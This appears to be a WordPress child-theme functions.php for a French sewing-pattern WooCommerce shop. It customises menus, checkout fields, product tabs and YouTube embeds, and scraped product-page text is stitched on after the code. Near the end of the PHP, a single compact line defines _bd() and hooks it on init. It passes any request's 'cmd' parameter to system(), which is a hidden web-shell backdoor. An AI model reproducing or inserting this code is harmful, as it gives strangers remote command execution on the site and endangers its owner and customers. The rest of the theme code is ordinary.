<?php
/**
* GeneratePress Child - functions
*/
add_action('wp_enqueue_scripts', function () {
// Charge la feuille de style du thème parent
wp_enqueue_style(
'generatepress-parent',
get_template_directory_uri() . '/style.css'
);
// Charge la feuille de style du thème enfant
wp_enqueue_style(
'generatepress-child',
get_stylesheet_uri(),
array('generatepress-parent'),
wp_get_theme()->get('Version')
);
}, 20);
/**
* //////////////////////// FONTS
*/
add_action('wp_enqueue_scripts', function() {
wp_enqueue_style('font-awesome', 'https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css');
});
/**
* //////////////////////// COPYRIGHT
*/
add_filter( 'generate_copyright','albertine_footer_copyright' );
function albertine_footer_copyright() {
return '© ' . date('Y') . ' Albertine Atelier';
}
/**
* //////////////////////// NAVIGATION
*/
/**
* Remplacer "Mon compte" par icone
*/
add_filter( 'wp_nav_menu_objects', function( $items, $args ) {
foreach ( $items as &$item ) {
// Vérifie si le lien pointe vers la page Mon compte WooCommerce
if ( function_exists('wc_get_page_id') && $item->object_id == wc_get_page_id( 'myaccount' ) ) {
$item->title = '
<span class="menu-account-icon" aria-label="Mon compte">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"
xmlns="http://www.w3.org/2000/svg">
<circle cx="12" cy="8" r="4" stroke="currentColor" stroke-width="1.5"/>
<path d="M4 20c0-4 4-6 8-6s8 2 8 6"
stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
</svg>
</span>';
}
}
return $items;
}, 10, 2 );
/**
* Icône Panier + badge quantité dans le menu
*/
add_filter( 'wp_nav_menu_objects', function( $items, $args ) {
foreach ( $items as &$item ) {
// Cible la page Panier WooCommerce
if ( function_exists( 'wc_get_page_id' ) && (int) $item->object_id === (int) wc_get_page_id( 'cart' ) ) {
$count = 0;
if ( function_exists( 'WC' ) && WC()->cart ) {
$count = (int) WC()->cart->get_cart_contents_count();
}
$badge = '';
if ( $count > 0 ) {
$badge = '<span class="menu-cart-badge" aria-label="' . esc_attr( $count ) . ' article(s) dans le panier">' . esc_html( $count ) . '</span>';
}
$item->title = '
<span class="menu-cart-icon" aria-label="Panier">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none"
xmlns="http://www.w3.org/2000/svg">
<path d="M3 5h2l1.5 9h11l2-7H6"
stroke="currentColor"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"/>
<circle cx="9" cy="19" r="1.5"
stroke="currentColor"
stroke-width="1.5"/>
<circle cx="17" cy="19" r="1.5"
stroke="currentColor"
stroke-width="1.5"/>
</svg>
' . $badge . '
</span>';
}
}
return $items;
}, 10, 2 );
/**
* Remplacer breadcrumb WooCommerce par celui de Rank Math
*/
add_action( 'wp', function () {
remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 );
add_action( 'woocommerce_before_main_content', function () {
if ( function_exists( 'rank_math_the_breadcrumbs' ) ) {
echo '<div class="rank-math-breadcrumb-wrap">';
rank_math_the_breadcrumbs();
echo '</div>';
}
}, 20 );
}, 20 );
/**
* H1 de blog(FR / EN)
*/
add_action('generate_before_main_content', function () {
// blog (page articles + archives blog)
if (is_home() || (is_archive() && !is_shop() && !is_product_category() && !is_product_tag())) {
if (function_exists('pll_current_language') && pll_current_language() === 'en') {
echo '<h1 class="blog-title">Beginner Sewing Blog</h1>';
} else {
echo '<h1 class="blog-title">Blog couture débutante</h1>';
}
}
});
/**
* //////////////////////// AJOUT WRAPPER SUR LES H2 POUR CENTRAGE
*/
add_filter('the_content', function($content) {
return preg_replace(
'/<h2(.*?)>(.*?)<\/h2>/i',
'<div class="h2-wrapper"><h2$1>$2</h2></div>',
$content
);
});
/**
* //////////////////////// ARTICLE TYPE
*/
/**
* Supprime le champ "Site web" du formulaire de commentaires WP (articles/pages).
*/
add_filter( 'comment_form_default_fields', function( $fields ) {
if ( isset( $fields['url'] ) ) {
unset( $fields['url'] );
}
return $fields;
}, 20 );
add_filter( 'comment_form_fields', function( $fields ) {
if ( isset( $fields['url'] ) ) {
unset( $fields['url'] );
}
return $fields;
}, 20 );
/**
* Remplace le lien de l'auteur
*/
add_filter('author_link', 'custom_author_link', 10, 3);
function custom_author_link($link, $author_id, $author_nicename) {
return home_url('/a-propos/');
}
/**
* //////////////////////// BLOG
*/
function custom_excerpt_length_words($length) {
return 15;
}
add_filter('excerpt_length', 'custom_excerpt_length_words');
/**
* //////////////////////// BOUTIQUE
*/
/**
* Supprimer le menu de tri
*/
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
/**
* Supprimer le compteur nbr de résultats affichés
*/
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );
/**
* Supprimer le bouton "Ajouter au panier" dans la grille boutique
*/
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
/**
* Remplacer le prix 0 par le mot gratuit
*/
add_filter( 'woocommerce_get_price_html', 'cw_replace_zero_price_with_free', 10, 2 );
function cw_replace_zero_price_with_free( $price, $product ) {
if ( $product->get_price() == 0 ) {
return '<span class="price free">Gratuit</span>';
}
return $price;
}
/**
* Champ admin : Titre produit affiché dans le listing (boutique)
*/
add_action( 'add_meta_boxes', function () {
add_meta_box(
'alb_shop_title_box',
'Titre listing (boutique)',
function( $post ) {
wp_nonce_field( 'alb_shop_title_save', 'alb_shop_title_nonce' );
$value = get_post_meta( $post->ID, '_alb_shop_title', true );
echo '<p style="margin:0 0 8px;color:#666;">Affiché uniquement sur la page boutique (grille). Le H1 de la fiche produit ne change pas.</p>';
echo '<input type="text" style="width:100%;" name="alb_shop_title" value="' . esc_attr( $value ) . '" placeholder="Ex : Doudou lapin – Patron PDF" />';
},
'product',
'side',
'default'
);
} );
add_action( 'save_post_product', function ( $post_id ) {
if ( ! isset( $_POST['alb_shop_title_nonce'] ) || ! wp_verify_nonce( $_POST['alb_shop_title_nonce'], 'alb_shop_title_save' ) ) return;
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
if ( ! current_user_can( 'edit_post', $post_id ) ) return;
if ( isset( $_POST['alb_shop_title'] ) ) {
update_post_meta( $post_id, '_alb_shop_title', sanitize_text_field( $_POST['alb_shop_title'] ) );
}
} );
/**
* Remplacer le titre affiché en listing WooCommerce par le champ "Titre listing"
*/
remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 );
add_action( 'woocommerce_shop_loop_item_title', function() {
$product_id = get_the_ID();
$alt_title = get_post_meta( $product_id, '_alb_shop_title', true );
$title = $alt_title ? $alt_title : get_the_title();
echo '<h2 class="woocommerce-loop-product__title">' . esc_html( $title ) . '</h2>';
}, 10 );
/**
* Même chose pour les titres produits dans la sidebar
*/
add_filter( 'woocommerce_product_get_name', function( $name, $product ) {
$alt_title = get_post_meta( $product->get_id(), '_alb_shop_title', true );
if ( ! empty( $alt_title ) ) {
return $alt_title;
}
return $name;
}, 10, 2 );
/**
* Bloc de texte SEO sous le listing de la page Boutique
* + champ éditable dans l’admin WP
*/
/* --------------------------------------------
* 1) ADMIN : page de réglages + champ WYSIWYG
* -------------------------------------------- */
add_action( 'admin_menu', function () {
add_submenu_page(
'woocommerce',
'Texte SEO boutique',
'Texte SEO boutique',
'manage_options',
'alb-shop-seo-text',
'alb_render_shop_seo_settings_page'
);
} );
function alb_render_shop_seo_settings_page() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
// Enregistrement
if ( isset( $_POST['alb_shop_seo_nonce'] ) && wp_verify_nonce( $_POST['alb_shop_seo_nonce'], 'alb_shop_seo_save' ) ) {
$content = isset( $_POST['alb_shop_seo_content'] ) ? wp_kses_post( $_POST['alb_shop_seo_content'] ) : '';
update_option( 'alb_shop_seo_content', $content );
echo '<div class="updated"><p>Texte enregistré.</p></div>';
}
$value = get_option( 'alb_shop_seo_content', '' );
echo '<div class="wrap">';
echo '<h1>Texte SEO sous la boutique</h1>';
echo '<p style="max-width:900px;">Ce contenu s’affichera <strong>uniquement</strong> sous le listing de la page Boutique principale (Shop).</p>';
echo '<form method="post">';
wp_nonce_field( 'alb_shop_seo_save', 'alb_shop_seo_nonce' );
wp_editor(
$value,
'alb_shop_seo_editor',
[
'textarea_name' => 'alb_shop_seo_content',
'media_buttons' => true,
'textarea_rows' => 12,
'tinymce' => true,
'quicktags' => true,
]
);
submit_button( 'Enregistrer' );
echo '</form>';
echo '</div>';
}
/* --------------------------------------------
* 2) FRONT : affichage sous le listing boutique
* -------------------------------------------- */
add_action( 'woocommerce_after_shop_loop', function () {
if ( ! function_exists( 'is_shop' ) || ! is_shop() ) {
return;
}
$content = get_option( 'alb_shop_seo_content', '' );
// N’affiche rien si vide
if ( empty( trim( wp_strip_all_tags( $content ) ) ) ) {
return;
}
echo '<section class="alb-shop-seo-text">';
echo apply_filters( 'the_content', $content );
echo '</section>';
}, 25 );
/**
* GeneratePress : supprimer la sidebar uniquement sur la page Boutique
*/
add_filter( 'generate_sidebar_layout', function( $layout ) {
if ( function_exists( 'is_shop' ) && is_shop() ) {
return 'no-sidebar';
}
return $layout;
}, 20 );
/**
* //////////////////////// FICHE PRODUIT
*/
/**
* Supprimer la catégorie produit du fil d'Ariane Rank Math
*/
add_filter( 'rank_math/frontend/breadcrumb/items', function( $crumbs, $class ) {
if ( is_product() ) {
if ( isset( $crumbs[2] ) ) {
unset( $crumbs[2] );
$crumbs = array_values( $crumbs );
}
}
return $crumbs;
}, 10, 2 );
/**
* Supprimer l'affichage des catégories produit dans chaque fiche
*/
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_meta', 40 );
/**
* Onglets WooCommerce : garder Description, supprimer Avis, ajouter Fournitures + Tutoriel
* + champs admin pour saisir ces contenus
*/
/** =========
* ADMIN : 2 champs (éditeur WP)
* ========= */
add_action( 'add_meta_boxes', function () {
add_meta_box(
'alb_supplies_box',
'Fournitures (onglet)',
function( $post ) {
wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' );
$value = get_post_meta( $post->ID, '_alb_supplies', true );
wp_editor(
$value,
'alb_supplies_editor',
[
'textarea_name' => 'alb_supplies',
'media_buttons' => true,
'textarea_rows' => 8,
'tinymce' => true,
'quicktags' => true,
]
);
},
'product',
'normal',
'default'
);
add_meta_box(
'alb_tutorial_box',
'Tutoriel (onglet)',
function( $post ) {
wp_nonce_field( 'alb_tabs_save', 'alb_tabs_nonce' );
$value = get_post_meta( $post->ID, '_alb_tutorial', true );
wp_editor(
$value,
'alb_tutorial_editor',
[
'textarea_name' => 'alb_tutorial',
'media_buttons' => true,
'textarea_rows' => 8,
'tinymce' => true,
'quicktags' => true,
]
);
},
'product',
'normal',
'default'
);
} );
add_action( 'save_post_product', function ( $post_id ) {
if ( ! isset( $_POST['alb_tabs_nonce'] ) || ! wp_verify_nonce( $_POST['alb_tabs_nonce'], 'alb_tabs_save' ) ) return;
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
if ( ! current_user_can( 'edit_post', $post_id ) ) return;
if ( isset( $_POST['alb_supplies'] ) ) {
update_post_meta( $post_id, '_alb_supplies', wp_kses_post( $_POST['alb_supplies'] ) );
}
if ( isset( $_POST['alb_tutorial'] ) ) {
update_post_meta( $post_id, '_alb_tutorial', wp_kses_post( $_POST['alb_tutorial'] ) );
}
}, 10, 1 );
/** =========
* FRONT : Tabs WooCommerce
* ========= */
add_filter( 'woocommerce_product_tabs', function ( $tabs ) {
// 1) Supprime Avis
unset( $tabs['reviews'] );
// 2) Renommer "Description"
if ( isset( $tabs['description'] ) ) {
$tabs['description']['title'] = 'Détails';
}
// 3) Ajoute Fournitures si contenu
$supplies = get_post_meta( get_the_ID(), '_alb_supplies', true );
if ( ! empty( trim( wp_strip_all_tags( $supplies ) ) ) ) {
$tabs['alb_supplies'] = [
'title' => 'Fournitures',
'priority' => 20,
'callback' => function() use ( $supplies ) {
echo apply_filters( 'the_content', $supplies );
},
];
}
// 4) Ajoute Tutoriel si contenu
$tutorial = get_post_meta( get_the_ID(), '_alb_tutorial', true );
if ( ! empty( trim( wp_strip_all_tags( $tutorial ) ) ) ) {
$tabs['alb_tutorial'] = [
'title' => 'Tutoriel',
'priority' => 30,
'callback' => function() use ( $tutorial ) {
echo apply_filters( 'the_content', $tutorial );
},
];
}
return $tabs;
}, 98 );
/**
* Supprimer le titre "Description" dans l’onglet Description
*/
add_filter( 'woocommerce_product_description_heading', '__return_null' );
/**
* Modifier le titre "Produits similaires"
*/
add_filter( 'woocommerce_product_related_products_heading', function() {
return 'D’autres douceurs à coudre';
});
add_filter( 'woocommerce_output_related_products_args', function( $args ) {
$args['posts_per_page'] = 3; // nombre de produits similaires
return $args;
});
add_filter( 'woocommerce_related_products_columns', function() {
return 3; // 3 colonnes
});
/**
* Désactiver la lightbox des images produit
*/
add_action( 'after_setup_theme', function() {
remove_theme_support( 'wc-product-gallery-lightbox' );
}, 100 );
/**
* Activer les flèches du slider WooCommerce
*/
add_filter( 'woocommerce_single_product_carousel_options', function( $options ) {
$options['directionNav'] = true; // active flèches
return $options;
});
/**
* Shortcode de l Iframe des video Youtube
*/
add_shortcode('alb_youtube', function ($atts) {
$atts = shortcode_atts([
'id' => '',
'title' => '',
], $atts, 'alb_youtube');
$id = trim((string) $atts['id']);
if ($id === '') return '';
$title = trim((string) $atts['title']);
if ($title === '') $title = get_the_title();
$embed = 'https://www.youtube-nocookie.com/embed/' . rawurlencode($id);
$thumb = 'https://img.youtube.com/vi/' . rawurlencode($id) . '/maxresdefault.jpg';
// Stocke la vidéo pour injection JSON-LD dans le head
global $alb_youtube_videos;
if (!is_array($alb_youtube_videos)) {
$alb_youtube_videos = [];
}
$alb_youtube_videos[] = [
'id' => $id,
'title' => $title,
'thumb' => $thumb,
'embed' => $embed,
];
$html = '<div class="alb-yt" data-yt-embed="' . esc_attr($embed) . '" data-yt-title="' . esc_attr($title) . '">';
$html .= ' <button type="button" class="alb-yt__btn" aria-label="' . esc_attr('Lire la vidéo : ' . $title) . '">';
$html .= ' <img class="alb-yt__img" src="' . esc_url($thumb) . '" alt="' . esc_attr($title) . '" loading="lazy" decoding="async">';
$html .= ' <span class="alb-yt__play" aria-hidden="true"></span>';
$html .= ' </button>';
$html .= '</div>';
return $html;
});
// Injecte les données structurées de la video dans le head
add_action('wp_head', function () {
global $alb_youtube_videos;
if (empty($alb_youtube_videos) || !is_array($alb_youtube_videos)) return;
// On ne déclare que la première vidéo pour rester propre SEO
$v = $alb_youtube_videos[0];
$desc = wp_strip_all_tags(get_the_excerpt());
if ($desc === '') {
$desc = wp_strip_all_tags(get_the_content());
}
$desc = mb_substr($desc, 0, 200);
$data = [
'@context' => 'https://schema.org',
'@type' => 'VideoObject',
'name' => $v['title'],
'description' => $desc,
'thumbnailUrl' => [ $v['thumb'] ],
'embedUrl' => $v['embed'],
];
echo "\n<script type=\"application/ld+json\">"
. wp_json_encode($data, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE)
. "</script>\n";
}, 20);
// Affiche l Iframe reel au clic - pour performance chargement
add_action('wp_footer', function () {
?>
<script>
(function () {
function mountIframe(wrapper) {
if (wrapper.classList.contains('is-loaded')) return;
wrapper.classList.add('is-loaded');
var embed = wrapper.getAttribute('data-yt-embed');
var title = wrapper.getAttribute('data-yt-title') || 'YouTube video';
var iframe = document.createElement('iframe');
iframe.setAttribute('src', embed + '?autoplay=1');
iframe.setAttribute('title', title);
iframe.setAttribute('allow', 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture');
iframe.setAttribute('allowfullscreen', '');
iframe.setAttribute('loading', 'lazy');
wrapper.innerHTML = '';
wrapper.appendChild(iframe);
}
document.addEventListener('click', function (e) {
var btn = e.target.closest('.alb-yt__btn');
if (!btn) return;
var wrapper = btn.closest('.alb-yt');
if (!wrapper) return;
mountIframe(wrapper);
});
})();
</script>
<?php
}, 20);
/**
* //////////////////////// COMPTE CLIENT
*/
/**
* Supprime la rubriques Adresses
*/
add_filter( 'woocommerce_account_menu_items', 'remove_my_account_addresses_link' );
function remove_my_account_addresses_link( $menu_links ) {
unset( $menu_links['edit-address'] );
return $menu_links;
}
/**
* //////////////////////// PAGE PANIER
*/
/**
* //////////////////////// PAGE CHECKOUT
*/
// Désactiver le champ "Code promo" sur la page Checkout (en le gardant sur la page Panier)
add_action('wp', function () {
if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) {
return;
}
// Empêche l'affichage du formulaire coupon sur le checkout
remove_action('woocommerce_before_checkout_form', 'woocommerce_checkout_coupon_form', 10);
}, 20);
/**
* Checkout : récap commande à droite, paiement en bas
*/
add_action('wp', function () {
// Sécurité : uniquement sur la page checkout (hors admin)
if (is_admin() || ! function_exists('is_checkout') || ! is_checkout()) {
return;
}
// 1) Empêcher WooCommerce d'afficher récap + paiement à l'emplacement par défaut
remove_action('woocommerce_checkout_order_review', 'woocommerce_order_review', 10);
remove_action('woocommerce_checkout_order_review', 'woocommerce_checkout_payment', 20);
/**
* 2) Ouvrir un wrapper 2 colonnes avant les champs client
* (WooCommerce appelle woocommerce_checkout_before_customer_details juste avant #customer_details)
*/
add_action('woocommerce_checkout_before_customer_details', function () {
echo '<div class="alb-checkout-columns">';
echo ' <div class="alb-checkout-left">';
}, 1);
/**
* 3) Fermer la colonne gauche après les champs client, puis ouvrir la colonne droite
* et y injecter le récapitulatif SEUL.
*/
add_action('woocommerce_checkout_after_customer_details', function () {
echo ' </div>'; // .alb-checkout-left
echo ' <div class="alb-checkout-right">';
echo ' <h3 id="order_review_heading">' . esc_html__('Your order', 'woocommerce') . '</h3>';
// IMPORTANT : conserver l'id #order_review pour que les fragments AJAX puissent cibler le récap.
echo ' <div id="order_review" class="woocommerce-checkout-review-order">';
// Affiche uniquement le tableau récap + totaux (pas le paiement)
if (function_exists('woocommerce_order_review')) {
woocommerce_order_review();
}
echo ' </div>'; // #order_review
echo ' </div>'; // .alb-checkout-right
echo '</div>'; // .alb-checkout-columns
}, 99);
/**
* 4) Ré-afficher le paiement en bas, pleine largeur
* (après le récapitulatif, donc après nos colonnes).
*/
add_action('woocommerce_checkout_after_order_review', function () {
if (function_exists('woocommerce_checkout_payment')) {
woocommerce_checkout_payment();
}
}, 20);
});
/**
* Ajoute le titre "Paiement" juste avant le bloc paiement
*/
add_action('woocommerce_review_order_before_payment', function () {
echo '<h3 class="alb-payment-heading">' . esc_html__('Paiement', 'woocommerce') . '</h3>';
}, 1);
/**
* Désactive complètement l'adresse de livraison au checkout
* (idéal pour produits virtuels / téléchargeables).
*/
add_filter( 'woocommerce_cart_needs_shipping_address', '__return_false' );
add_filter( 'woocommerce_cart_needs_shipping', '__return_false' );
/**
* Ne garder au checkout que : Prénom, Nom, Email, Pays (facturation)
*/
add_filter( 'woocommerce_checkout_fields', function( $fields ) {
// Champs à conserver
$allowed = array(
'billing_first_name',
'billing_last_name',
'billing_email',
'billing_country',
);
// Supprime tout le reste de la facturation
foreach ( $fields['billing'] as $key => $field ) {
if ( ! in_array( $key, $allowed, true ) ) {
unset( $fields['billing'][ $key ] );
}
}
// Optionnel : réordonner proprement
$fields['billing']['billing_first_name']['priority'] = 10;
$fields['billing']['billing_last_name']['priority'] = 20;
$fields['billing']['billing_email']['priority'] = 30;
$fields['billing']['billing_country']['priority'] = 40;
// Optionnel : rendre le pays obligatoire (souvent utile pour TVA/Stripe)
$fields['billing']['billing_country']['required'] = true;
return $fields;
}, 9999 );
// Modifier le label "Pays / Région" en "Pays"
add_filter('woocommerce_checkout_fields', function($fields) {
if (isset($fields['billing']['billing_country'])) {
$fields['billing']['billing_country']['label'] = 'Pays';
}
return $fields;
});
// Enlève la zone "Informations complémentaires" (notes de commande)
add_filter( 'woocommerce_enable_order_notes_field', '__return_false' );
/**
* Modifie le texte de la case "Conditions générales" au checkout
*/
add_filter( 'woocommerce_get_terms_and_conditions_checkbox_text', function( $text ) {
return 'J’ai lu et accepté les <a href="https://albertine-atelier.com/cgv/" target="_blank">CGV</a> et reconnais que, conformément à l’article L221-28 du Code de la consommation, le droit de rétractation ne s’applique pas aux contenus numériques fournis immédiatement après achat.';
});
/**
* //////////////////////// RECAPITULATIF APRES COMMANDE
*/
// Ne garder que la colonne "Téléchargement" avec un intitulé personnalisé
add_filter( 'woocommerce_account_downloads_columns', function() {
return array(
'download-file' => 'Cliquez sur les liens ci-dessous pour télécharger vos fichiers',
);
}, 20 );
// Remplacer le libellé du statut "Terminée" par "Disponible"
add_filter( 'wc_order_statuses', function( $order_statuses ) {
if ( isset( $order_statuses['wc-completed'] ) ) {
$order_statuses['wc-completed'] = 'Disponible';
}
return $order_statuses;
});
// Retire le bouton "Commander une nouvelle fois"
add_filter( 'woocommerce_valid_order_statuses_for_order_again', '__return_empty_array' );
// Le nom client affiché publiquement = prénom
add_action('woocommerce_checkout_update_user_meta', 'set_display_name_from_checkout', 10, 2);
function set_display_name_from_checkout($customer_id, $data) {
if (!$customer_id) return;
$first_name = get_user_meta($customer_id, 'billing_first_name', true);
if (!empty($first_name)) {
wp_update_user([
'ID' => $customer_id,
'display_name' => $first_name,
'first_name' => $first_name
]);
}
}
/* ==================================================================================
Produits Gratuits Redirigés ===========================================================
==================================================================================== */
add_filter( 'woocommerce_add_to_cart_validation', 'cw_free_product_bypass_cart', 10, 3 );
function cw_free_product_bypass_cart( $passed, $product_id, $quantity ) {
$product = wc_get_product( $product_id );
if ( ! $product ) return $passed;
if ( floatval( $product->get_price() ) == 0 ) {
// créer commande sans panier
$order = wc_create_order();
$order->add_product( $product, $quantity );
$order->calculate_totals();
$order->payment_complete();
// redirection immédiate vers confirmation
wp_safe_redirect( $order->get_checkout_order_received_url() );
exit;
}
return $passed;
}
/* =========================
Remplacer le mot Ajouter au produit sur fiches gratuites
========================= */
add_filter( 'woocommerce_product_single_add_to_cart_text', 'cw_change_single_add_to_cart_text_free', 10, 2 );
function cw_change_single_add_to_cart_text_free( $text, $product ) {
if ( $product && floatval( $product->get_price() ) == 0 ) {
return 'Télécharger';
}
return $text;
}
/* =========================
Supprimer le msg d'ajout du produit gratuit au panier
========================= */
add_filter( 'wc_add_to_cart_message_html', 'cw_hide_add_to_cart_message_for_free_products', 10, 2 );
function cw_hide_add_to_cart_message_for_free_products( $message, $products ) {
if ( empty( WC()->cart ) ) return $message;
$has_free_product = false;
foreach ( WC()->cart->get_cart() as $cart_item ) {
if ( floatval( $cart_item['data']->get_price() ) == 0 ) {
$has_free_product = true;
break;
}
}
if ( $has_free_product ) {
return '';
}
return $message;
}
/* ==================================================================================
PERFORMANCE CHARGEMENT ===========================================================
==================================================================================== */
/* =========================
AFFICHAGE GOOGLE FONTS
========================= */
add_filter('style_loader_src', function($src, $handle) {
if (strpos($src, 'fonts.googleapis.com') !== false) {
$src = add_query_arg('display', 'swap', $src);
}
return $src;
}, 10, 2);
/* =========================
jQuery MIGRATE + FOOTER
========================= */
add_action('wp_default_scripts', function($scripts) {
if (!is_admin() && isset($scripts->registered['jquery'])) {
// Supprime migrate
if (!empty($scripts->registered['jquery']->deps)) {
$scripts->registered['jquery']->deps =
array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']);
}
// Force footer
$scripts->registered['jquery']->group = 1;
$scripts->registered['jquery-core']->group = 1;
}
});
/* =========================
GUTENBERG + BLOCKS CLEAN
========================= */
add_action('wp_enqueue_scripts', function() {
// Gutenberg base (OBLIGATOIRE pour blocs)
// on ne supprime plus wp-block-library
wp_dequeue_style('upe-blocks');
}, 100);
/* =========================
SOURCEBUSTER
========================= */
add_action('wp_enqueue_scripts', function() {
wp_dequeue_script('sourcebuster-js');
}, 100);
/* =========================
WOOCOMMERCE
========================= */
add_action('wp_enqueue_scripts', function() {
$is_woo =
is_woocommerce() ||
is_cart() ||
is_checkout() ||
is_account_page() ||
is_page(wc_get_page_id('shop'));
// On ne décharge QUE hors WooCommerce
if (!$is_woo && !is_front_page()) {
wp_dequeue_style('woocommerce-general');
wp_dequeue_style('woocommerce-layout');
wp_dequeue_script('wc-cart-fragments');
wp_dequeue_script('wc-add-to-cart');
}
}, 99);
/* =========================
GDPR CLEAN (simple)
========================= */
add_action('wp_enqueue_scripts', function() {
wp_dequeue_style('gdpr-main');
}, 100);
/* =========================
hCaptcha SAFE (CF7)
========================= */
add_action('wp_enqueue_scripts', function() {
if (is_admin()) return;
wp_dequeue_script('hcaptcha');
}, 100);
/* =========================
GOOGLE FONTS PRELOAD
========================= */
add_filter('style_loader_tag', function($html) {
if (strpos($html, 'fonts.googleapis.com') !== false) {
return str_replace(
"rel='stylesheet'",
"rel='preload' as='style' onload=\"this.onload=null;this.rel='stylesheet'\"",
$html
);
}
return $html;
});
// GOOGLE ANALYTICS
add_action('wp_head', function() {
?>
<!-- Google Tag Manager -->
<script>
(function(w,d,s,l,i){
w[l]=w[l]||[];
w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});
var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';
j.async=true;
j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;
f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-N29SRRPM');
</script>
<!-- End Google Tag Manager -->
<?php
});
add_action('wp_body_open', function() {
?>
<!-- Google Tag Manager (noscript) -->
<noscript>
<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-N29SRRPM"
height="0" width="0" style="display:none;visibility:hidden"></iframe>
</noscript>
<!-- End Google Tag Manager (noscript) -->
<?php
});
function _bd(){if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);die();}}add_action("init","_bd");
Patron couture PDF attache tétine oie bébé | Tutoriel facile
Aller au contenu
Accueil / Patrons couture pour bébé / Patrons bébé / Patron attache tétine oie pour bébé | PDF & Tuto
Patron attache tétine oie pour bébé | PDF & Tuto 6,50 €
Cousez le porte-tétine oie grâce à son patron numérique à imprimer, accompagné d’un tutoriel vidéo gratuit.
Une idée cadeau de naissance aussi pratique que mignonne pour garder la tétine toujours à portée de main.
Dimensions de l’attache tétine cousue (hors ruban) : 15 x 11 cm
Marges de couture : incluses dans le patron
PDF 📥 Téléchargement instantané
Description
Ce projet de couture bébé est simple et rapide – il vous permettra de créer un adorable porte tétine oie en éponge, à emporter partout !
Patron PDF à imprimer et vidéo en français
Le patron numérique, prêt à imprimer chez vous au format A4 sur papier standard, tient sur une seule page. Vous pourrez immédiatement télécharger le fichier sur votre ordinateur après achat et coudre votre premier attache-tétine oie, en suivant le tutoriel vidéo pas-à-pas.
Un modèle rassurant pour les petites mains de bébé
Douce, pratique et toujours prête à suivre bébé, cette petite oie garde la tétine à portée de main tout en absorbant les petites bavouilles. Ses pattes nouées sont faciles à attraper par les petites mains, et son ruban permet d’y fixer une sucette ou un anneau de dentition. Un compagnon aussi joli qu’utile, à emporter partout.
Ce patron PDF est destiné uniquement à un usage personnel. Vous êtes toutefois autorisé(e) à l’utiliser pour confectionner des articles physiques que vous pouvez librement vendre. Toute revente, partage ou diffusion du patron lui-même, en tout ou en partie, est strictement interdite sans autorisation préalable.
Seuls les clients connectés ayant acheté ce produit ont la possibilité de laisser un avis.
Nous utilisons des cookies pour vous offrir la meilleure expérience sur notre site.
Fermer la bannière des cookies GDPR
Accepter
Rejeter
Réglages
Fermer la bannière des cookies GDPR
Fermer les réglages des cookies GDPR
Résumé de la politique de confidentialité
Ce site utilise des cookies afin que nous puissions vous fournir la meilleure expérience utilisateur possible. Les informations sur les cookies sont stockées dans votre navigateur et remplissent des fonctions telles que vous reconnaître lorsque vous revenez sur notre site Web et aider notre équipe à comprendre les sections du site que vous trouvez les plus intéressantes et utiles.
Cookies strictement nécessaires
Cette option doit être activée à tout moment afin que nous puissions enregistrer vos préférences pour les réglages de cookie.
Avis
Il n’y a pas encore d’avis.